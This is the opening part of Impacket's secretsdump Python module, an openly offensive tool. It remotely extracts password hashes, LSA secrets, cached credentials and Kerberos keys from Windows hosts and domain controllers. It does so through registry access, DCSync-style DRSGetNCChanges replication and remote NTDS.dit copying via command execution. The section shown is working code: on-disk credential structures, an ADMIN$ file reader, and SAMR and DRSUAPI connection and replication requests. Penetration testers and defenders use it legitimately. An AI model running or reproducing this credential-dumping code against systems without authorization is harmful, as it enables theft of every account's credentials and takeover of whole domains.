# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Performs various techniques to dump hashes from the
#   remote machine without executing any agent there.
#   For SAM and LSA Secrets (including cached creds)
#   we try to read as much as we can from the registry
#   and then we save the hives in the target system
#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
#   data from there.
#   For NTDS.dit we either:
#       a. Get the domain users list and get its hashes
#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
#          call, replicating just the attributes we need.
#       b. Extract NTDS.dit via vssadmin executed  with the
#          smbexec approach.
#          It's copied on the temp dir and parsed remotely.
#
#   The script initiates the services required for its working
#   if they are not available (e.g. Remote Registry, even if it is
#   disabled). After the work is done, things are restored to the
#   original state.
#
# Author:
#  Alberto Solino (@agsolino)
#
# References:
#   Most of the work done by these guys. I just put all
#   the pieces together, plus some extra magic.
#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
#   - https://code.google.com/p/creddump/
#   - https://lab.mediaservice.net/code/cachedump.rb
#   - https://insecurety.net/?p=768
#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import codecs
import json
import hashlib
import logging
import ntpath
import os
import re
import random
import string
import time
from binascii import unhexlify, hexlify
from collections import OrderedDict
from datetime import datetime, timedelta, timezone
from struct import unpack, pack
from six import b, PY2

from impacket import LOG
from impacket import system_errors
from impacket import winregistry, ntlm
from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
from impacket.ldap.ldaptypes import LDAP_SID
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
from impacket.dcerpc.v5.dtypes import NULL, SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
    VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
    IRemUnknown2, INTERFACE
from impacket.ese import ESENT_DB, getUnixTime
from impacket.dpapi import DPAPI_SYSTEM
from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.structure import Structure
from impacket.structure import hexdump
from impacket.uuid import string_to_bin
from impacket.crypto import transformKey
from impacket.krb5 import constants
from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \
    seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP
from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes
from impacket.krb5.crypto import string_to_key, Key, _enctype_table
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.types import KerberosTime, Principal, Ticket
try:
    from Cryptodome.Cipher import DES, ARC4, AES
    from Cryptodome.Hash import HMAC, MD4, MD5
except ImportError:
    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
    LOG.critical("See https://pypi.org/project/pycryptodomex/")
try:
    import pyasn1
    from pyasn1.type.univ import noValue, SequenceOf, Integer
    from pyasn1.codec.der import encoder, decoder
except ImportError:
    LOG.critical('This module needs pyasn1 installed')

try:
    rand = random.SystemRandom()
except NotImplementedError:
    rand = random
    pass

# Structures
# Taken from https://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Length','<L=0'),
        ('Salt','16s=b""'),
        ('Key','16s=b""'),
        ('CheckSum','16s=b""'),
        ('Reserved','<Q=0'),
    )

# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/fortra/impacket/issues/326
# Merci! Makes it way easier than parsing manually.
class SAM_HASH(Structure):
    structure = (
        ('PekID','<H=0'),
        ('Revision','<H=0'),
        ('Hash','16s=b""'),
    )

class SAM_KEY_DATA_AES(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Length','<L=0'),
        ('CheckSumLen','<L=0'),
        ('DataLen','<L=0'),
        ('Salt','16s=b""'),
        ('Data',':'),
    )

class SAM_HASH_AES(Structure):
    structure = (
        ('PekID','<H=0'),
        ('Revision','<H=0'),
        ('DataOffset','<L=0'),
        ('Salt','16s=b""'),
        ('Hash',':'),
    )

class DOMAIN_ACCOUNT_F(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Unknown','<L=0'),
        ('CreationTime','<Q=0'),
        ('DomainModifiedCount','<Q=0'),
        ('MaxPasswordAge','<Q=0'),
        ('MinPasswordAge','<Q=0'),
        ('ForceLogoff','<Q=0'),
        ('LockoutDuration','<q=0'),
        ('LockoutObservationWindow','<Q=0'),
        ('ModifiedCountAtLastPromotion','<Q=0'),
        ('NextRid','<L=0'),
        ('PasswordProperties','<L=0'),
        ('MinPasswordLength','<H=0'),
        ('PasswordHistoryLength','<H=0'),
        ('LockoutThreshold','<H=0'),
        ('Unknown2','<H=0'),
        ('ServerState','<L=0'),
        ('ServerRole','<H=0'),
        ('UasCompatibilityRequired','<H=0'),
        ('Unknown3','<Q=0'),
        ('Key0',':'),
# Commenting this, not needed and not present on Windows 2000 SP0
#        ('Key1',':', SAM_KEY_DATA),
#        ('Unknown4','<L=0'),
    )

class DOMAIN_ACCOUNT_V(Structure):
    structure = (
        ('Randomstuffforfun','<L=0'),
        ('SystemSid', ':', lambda data: data[-12:]),
        ('Data',':'),
    )

class USER_ACCOUNT_C(Structure):
    structure = (
        ('GroupNumber','<L=0'),
        ('Unknown','436s=b""'),
        ('GroupMembers',':'),
    )

class USER_ACCOUNT_F(Structure):
    structure = (
        ('Unknown','8s=b""'),
        ('LastLogonTimestamp','8s=b""'),
        ('Unknown2','8s=b""'),
        ('PasswordLastSetTimeStamp','8s=b""'),
        ('AccountExpiresTimeStamp','8s=b""'),
        ('LastIncorrectPasswordTimestamp','8s=b""'),
        ('UserNumber','<L=0'),
        ('Unknown3','<L=0'),
        ('GroupedData','H=0'),
        ('Unknown4','<H=0'),
        ('CountryCode','<H=0'),
        ('Unknown5','<H=0'),
        ('InvalidPWDCount','<H=0'),
        ('NumberOfLogons','<H=0'),
        ('Unknown6','<L=0'),
        ('Unknown7','8s=b""')
    )

# Great help from here https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
    structure = (
        ('Unknown','12s=b""'),
        ('NameOffset','<L=0'),
        ('NameLength','<L=0'),
        ('Unknown2','<L=0'),
        ('FullNameOffset','<L=0'),
        ('FullNameLength','<L=0'),
        ('Unknown3','<L=0'),
        ('CommentOffset','<L=0'),
        ('CommentLength','<L=0'),
        ('Unknown3','<L=0'),
        ('UserCommentOffset','<L=0'),
        ('UserCommentLength','<L=0'),
        ('Unknown4','<L=0'),
        ('Unknown5','12s=b""'),
        ('HomeDirOffset','<L=0'),
        ('HomeDirLength','<L=0'),
        ('Unknown6','<L=0'),
        ('HomeDirConnectOffset','<L=0'),
        ('HomeDirConnectLength','<L=0'),
        ('Unknown7','<L=0'),
        ('ScriptPathOffset','<L=0'),
        ('ScriptPathLength','<L=0'),
        ('Unknown8','<L=0'),
        ('ProfilePathOffset','<L=0'),
        ('ProfilePathLength','<L=0'),
        ('Unknown9','<L=0'),
        ('WorkstationsOffset','<L=0'),
        ('WorkstationsLength','<L=0'),
        ('Unknown10','<L=0'),
        ('HoursAllowedOffset','<L=0'),
        ('HoursAllowedLength','<L=0'),
        ('Unknown11','<L=0'),
        ('Unknown12','12s=b""'),
        ('LMHashOffset','<L=0'),
        ('LMHashLength','<L=0'),
        ('Unknown13','<L=0'),
        ('NTHashOffset','<L=0'),
        ('NTHashLength','<L=0'),
        ('Unknown14','<L=0'),
        ('Unknown15','24s=b""'),
        ('Data',':=b""'),
    )

class BUILTIN_GROUP_C(Structure):
    structure = (
        ('Unknown1', '<16s=b""'),  # First 16 bytes of unknown data
        ('NameOffset', '<L=0'),    # Offset for the group name
        ('NameLength', '<L=0'),    # Length of the group name
        ('Unknown2', '<L=0'),      # Padding or unused data
        ('CommentOffset', '<L=0'), # Offset for the group comment
        ('CommentLength', '<L=0'), # Length of the group comment
        ('Unknown3', '<L=0'),      # Padding or unused data
        ('UsersOffset', '<L=0'),   # Offset for users
        ('Unknown4', '<L=0'),      # Padding or unused data
        ('UserCount', '<L=0'),     # Number of users
        ('Data', ':'),             # Remaining data
    )

class NL_RECORD(Structure):
    structure = (
        ('UserLength','<H=0'),
        ('DomainNameLength','<H=0'),
        ('EffectiveNameLength','<H=0'),
        ('FullNameLength','<H=0'),
# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
        ('LogonScriptName','<H=0'),
        ('ProfilePathLength','<H=0'),
        ('HomeDirectoryLength','<H=0'),
        ('HomeDirectoryDriveLength','<H=0'),
        ('UserId','<L=0'),
        ('PrimaryGroupId','<L=0'),
        ('GroupCount','<L=0'),
        ('logonDomainNameLength','<H=0'),
        ('unk0','<H=0'),
        ('LastWrite','<Q=0'),
        ('Revision','<L=0'),
        ('SidCount','<L=0'),
        ('Flags','<L=0'),
        ('unk1','<L=0'),
        ('LogonPackageLength','<L=0'),
        ('DnsDomainNameLength','<H=0'),
        ('UPN','<H=0'),
       # ('MetaData','52s=""'),
       # ('FullDomainLength','<H=0'),
       # ('Length2','<H=0'),
        ('IV','16s=b""'),
        ('CH','16s=b""'),
        ('EncryptedData',':'),
    )


class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
    structure = (
        ('Value','6s'),
    )

class SAMR_RPC_SID(Structure):
    structure = (
        ('Revision','<B'),
        ('SubAuthorityCount','<B'),
        ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
        ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
        ('SubAuthority',':'),
    )

    def formatCanonical(self):
       ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
       for i in range(self['SubAuthorityCount']):
           ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
       return ans

class LSA_SECRET_BLOB(Structure):
    structure = (
        ('Length','<L=0'),
        ('Unknown','12s=b""'),
        ('_Secret','_-Secret','self["Length"]'),
        ('Secret',':'),
        ('Remaining',':'),
    )

class LSA_SECRET(Structure):
    structure = (
        ('Version','<L=0'),
        ('EncKeyID','16s=b""'),
        ('EncAlgorithm','<L=0'),
        ('Flags','<L=0'),
        ('EncryptedData',':'),
    )

class LSA_SECRET_XP(Structure):
    structure = (
        ('Length','<L=0'),
        ('Version','<L=0'),
        ('_Secret','_-Secret', 'self["Length"]'),
        ('Secret', ':'),
    )


# Helper to create files for exporting
def openFile(fileName, mode='w+', openFileFunc=None):
    if openFileFunc is not None:
        return openFileFunc(fileName, mode)
    else:
        return codecs.open(fileName, mode, encoding='utf-8')


# Classes
class RemoteFile:
    def __init__(self, smbConnection, fileName):
        self.__smbConnection = smbConnection
        self.__fileName = fileName
        self.__tid = self.__smbConnection.connectTree('ADMIN$')
        self.__fid = None
        self.__currentOffset = 0

    def open(self):
        tries = 0
        while True:
            try:
                self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
                                                   shareMode=FILE_SHARE_READ)
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
                    if tries >= 3:
                        raise e
                    # Stuff didn't finish yet.. wait more
                    time.sleep(5)
                    tries += 1
                    pass
                else:
                    raise e
            else:
                break

    def seek(self, offset, whence):
        # Implement whence, for now it's always from the beginning of the file
        if whence == 0:
            self.__currentOffset = offset

    def read(self, bytesToRead):
        if bytesToRead > 0:
            data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
            self.__currentOffset += len(data)
            return data
        return b''

    def close(self):
        if self.__fid is not None:
            self.__smbConnection.closeFile(self.__tid, self.__fid)
            self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
            self.__fid = None

    def tell(self):
        return self.__currentOffset

    def __str__(self):
        return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)

class RemoteOperations:
    def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None):
        self.__smbConnection = smbConnection
        if self.__smbConnection is not None:
            self.__smbConnection.setTimeout(5*60)
        self.__ldapConnection = ldapConnection
        self.__serviceName = 'RemoteRegistry'
        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
        self.__rrp = None
        self.__regHandle = None

        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
        self.__samr = None
        self.__domainHandle = None
        self.__domainName = None
        self.__domainSid = None

        self.__drsr = None
        self.__hDrs = None
        self.__NtdsDsaObjectGuid = None
        self.__ppartialAttrSet = None
        self.__prefixTable = []
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost

        self.__bootKey = b''
        self.__disabled = False
        self.__shouldStop = False
        self.__started = False

        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
        self.__scmr = None
        self.__tmpServiceName = None
        self.__serviceDeleted = False

        self.__batchFile = '%TEMP%\\execute.bat'
        self.__shell = '%COMSPEC% /Q /c '
        self.__output = '%SYSTEMROOT%\\Temp\\__output'
        self.__answerTMP = b''

        self.__execMethod = 'smbexec'

    def setExecMethod(self, method):
        self.__execMethod = method

    def __connectSvcCtl(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
        rpc.set_smb_connection(self.__smbConnection)
        self.__scmr = rpc.get_dce_rpc()
        self.__scmr.connect()
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

    def __connectWinReg(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
        rpc.set_smb_connection(self.__smbConnection)
        self.__rrp = rpc.get_dce_rpc()
        self.__rrp.connect()
        self.__rrp.bind(rrp.MSRPC_UUID_RRP)

    def getRRP(self):
        return self.__rrp

    def connectSamr(self, domain):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self.__smbConnection)
        self.__samr = rpc.get_dce_rpc()
        self.__samr.connect()
        self.__samr.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(self.__samr)
        serverHandle = resp['ServerHandle']

        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
        self.__domainSid = resp['DomainId'].formatCanonical()

        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
        self.__domainHandle = resp['DomainHandle']
        self.__domainName = domain

    def __connectDrds(self):
        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
                                     protocol='ncacn_ip_tcp')
        rpc = transport.DCERPCTransportFactory(stringBinding)
        rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
        rpc.setRemoteName(self.__smbConnection.getRemoteName())
        if hasattr(rpc, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpc.set_credentials(*(self.__smbConnection.getCredentials()))
            rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
        self.__drsr = rpc.get_dce_rpc()
        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        if self.__doKerberos:
            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
        self.__drsr.connect()
        # Uncomment these lines if you want to play some tricks
        # This will make the dump way slower tho.
        #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
        #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
        #self.__drsr.set_max_fragment_size(1)
        # And Comment this line
        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

        if self.__domainName is None:
            # Get domain name from credentials cached
            self.__domainName = rpc.get_credentials()[2]

        request = drsuapi.DRSBind()
        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
        drs = drsuapi.DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
                         drsuapi.DRS_EXT_STRONG_ENCRYPTION | drsuapi.DRS_EXT_NONDOMAIN_NCS
        drs['SiteObjGuid'] = drsuapi.NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = 0
        drs['ConfigObjGUID'] = drsuapi.NULLGUID
        # I'm uber potential (c) Ben
        drs['dwExtCaps'] = 0xffffffff
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(drs.getData())
        resp = self.__drsr.request(request)
        if LOG.level == logging.DEBUG:
            LOG.debug('DRSBind() answer')
            resp.dump()

        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
        drsExtensionsInt.fromString(ppextServer)

        if drsExtensionsInt['dwReplEpoch'] != 0:
            # Different epoch, we have to call DRSBind again
            if LOG.level == logging.DEBUG:
                LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
                    'dwReplEpoch'])
            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(drs.getData())
            resp = self.__drsr.request(request)

        self.__hDrs = resp['phDrs']

        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
        if LOG.level == logging.DEBUG:
            LOG.debug('DRSDomainControllerInfo() answer')
            resp.dump()

        if resp['pmsgOut']['V2']['cItems'] > 0:
            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
        else:
            LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
            raise Exception('Fatal, aborting')

    def getSamr(self):
        return self.__samr

    def getDrsr(self):
        return self.__drsr

    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
        if self.__drsr is None:
            self.__connectDrds()

        LOG.debug('Calling DRSCrackNames for %s ' % name)
        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
        return resp

    # Wrapper for calling _DRSGetNCChanges with a GUID
    def DRSGetNCChangesGuid(self, userGuid):
        dsName = drsuapi.DSNAME()
        dsName['SidLen'] = 0
        dsName['Guid'] = string_to_bin(userGuid[1:-1])
        dsName['Sid'] = ''
        dsName['NameLen'] = 0
        dsName['StringName'] = ('\x00')
        dsName['structLen'] = len(dsName.getData())

        return self._DRSGetNCChanges(userGuid, dsName)

    # Wrapper for calling _DRSGetNCChanges with a SID
    def DRSGetNCChangesSid(self, userSid):

        # Convert string SID to 2.4.2.2 packet SID
        tsid = SID()
        tsid.fromCanonical(userSid)
        packetSid  = pack("<B", tsid.fields['Revision'])
        packetSid += pack("<B", tsid.fields['SubAuthorityCount'])
        packetSid += tsid.fields['IdentifierAuthority'].fields['Value']
        packetSid += tsid.fields['SubAuthority']

        dsName = drsuapi.DSNAME()
        dsName['SidLen'] = len(packetSid)
        dsName['Guid'] = 0
        dsName['Sid'] = packetSid
        dsName['NameLen'] = 0
        dsName['StringName'] = ('\x00')
        dsName['structLen'] = len(dsName.getData())

        return self._DRSGetNCChanges(userSid, dsName)

    def _DRSGetNCChanges(self, userEntry, dsName):
        if self.__drsr is None:
            self.__connectDrds()

        LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
        request = drsuapi.DRSGetNCChanges()
        request['hDrs'] = self.__hDrs
        request['dwInVersion'] = 8

        request['pmsgIn']['tag'] = 8
        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

        request['pmsgIn']['V8']['pNC'] = dsName

        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
        request['pmsgIn']['V8']['cMaxObjects'] = 1
        request['pmsgIn']['V8']['cMaxBytes'] = 0
        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
        if self.__ppartialAttrSet is None:
            self.__prefixTable = []
            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
            self.__ppartialAttrSet['dwVersion'] = 1
            self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
            for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL

        return self.__drsr.request(request)

    def getDomainUsers(self, enumerationContext=0):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])

        try:
            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
                                                    enumerationContext=enumerationContext)
        except DCERPCException as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

    def getGroupsInDomain(self):
        try:
            resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle)
        except DCERPCException as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

    def getAliasesInDomain(self):
        try:
            resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle)
        except DCERPCException as e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

    def getMembersInGroup(self, rid):
        ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid)
        resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle'])

        return resp

    def getMembersInAlias(self, rid):
        ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid)
        resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle'])

        return resp

    def getDomainUsersLDAP(self, searchFilter):
        domainUsers = []
        if self.__ldapConnection is None:
            LOG.error('Failed to establish LDAP connection, the user list will be empty')
            return domainUsers

        try:
            LOG.debug('Search Filter=%s' % searchFilter)
            sc = SimplePagedResultsControl(size=100)
            resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName','objectSid'], sizeLimit=0, searchControls=[sc])
        except LDAPSearchError:
            raise

        self.__ldapConnection.close()

        for item in resp:
            if isinstance(item, SearchResultEntry):
                msDSPrincipalName = ''
                userSid = ''
                try:
                    for attribute in item['attributes']:
                        if str(attribute['type']) == 'msDS-PrincipalName':
                            msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8')
                        if str(attribute['type']) == 'objectSid':
                            tsid = SID(attribute['vals'][0].asOctets())
                            userSid = tsid.formatCanonical()
                except Exception as e:
                    LOG.debug("Exception", exc_info=True)
                    LOG.error('Skipping item, cannot process due to error %s' % str(e))
                    pass
                else:
                    LOG.debug('DA msDS-PrincipalName: %s, SID: %s' % (msDSPrincipalName, userSid))
                    domainUsers.append([msDSPrincipalName, userSid])

        return domainUsers

    def getDomainSid(self):
        if self.__domainSid is not None:
            return self.__domainSid

        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])

        return self.__domainSid

    def getDomainHandle(self):
        return self.__domainHandle

    def getMachineKerberosSalt(self):
        """
        Returns Kerberos salt for the current connection if
        we have the correct information
        """
        if self.__smbConnection.getServerName() == '':
            host, _ = self.getMachineNameAndDomain()
            remoteName = self.__smbConnection.getRemoteName()
            # Check if remoteName is FQDN, otherwise it will likely be the hostname only
            if remoteName.lower().startswith(f"{host.lower()}."):
                domain = ".".join(remoteName.split(".")[1:])
            else:
                return b''
        else:
            host = self.__smbConnection.getServerName()
            domain = self.__smbConnection.getServerDNSDomainName()
        LOG.debug(f"[Secretsdump][getMachineKerberosSalt] Host: {host} / Domain FQDN: {domain}")
        salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
        return salt

    def getMachineNameAndDomain(self):
        if self.__smbConnection.getServerName() == '':
            # No serverName.. this is either because we're doing Kerberos
            # or not receiving that data during the login process.
            # Let's try getting it through RPC
            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
            rpc.set_smb_connection(self.__smbConnection)
            dce = rpc.get_dce_rpc()
            dce.connect()
            dce.bind(wkst.MSRPC_UUID_WKST)
            resp = wkst.hNetrWkstaGetInfo(dce, 100)
            dce.disconnect()
            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
                                                                                      'wki100_langroup'][:-1]
        else:
            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

    def getDNSDomain(self):
        if self.__smbConnection.getServerDNSDomainName() == '':
            # Todo: figure out an RPC call that gives us the domain FQDN
            # instead of the NETBIOS name as NetrWkstaGetInfo does
            return b''
        else:
            return self.__smbConnection.getServerDNSDomainName()

    def getDefaultLoginAccount(self):
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
            keyHandle = ans['phkResult']
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
            username = dataValue[:-1]
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
            domain = dataValue[:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
            if len(domain) > 0:
                return '%s\\%s' % (domain,username)
            else:
                return username
        except:
            return None

    def getServiceAccount(self, serviceName):
        try:
            # Open the service
            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
            serviceHandle = ans['lpServiceHandle']
            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
            if account.startswith('.\\'):
                account = account[2:]
            return account
        except Exception as e:
            # Don't log if history service is not found, that should be normal
            if serviceName.endswith("_history") is False:
                LOG.error(e)
            return None

    def __checkServiceStatus(self):
        # Open SC Manager
        ans = scmr.hROpenSCManagerW(self.__scmr)
        self.__scManagerHandle = ans['lpScHandle']
        # Now let's open the service
        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
        self.__serviceHandle = ans['lpServiceHandle']
        # Let's check its status
        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
            LOG.info('Service %s is in stopped state'% self.__serviceName)
            self.__shouldStop = True
            self.__started = False
        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
            LOG.debug('Service %s is already running'% self.__serviceName)
            self.__shouldStop = False
            self.__started  = True
        else:
            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

        # Let's check its configuration if service is stopped, maybe it's disabled :s
        if self.__started is False:
            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
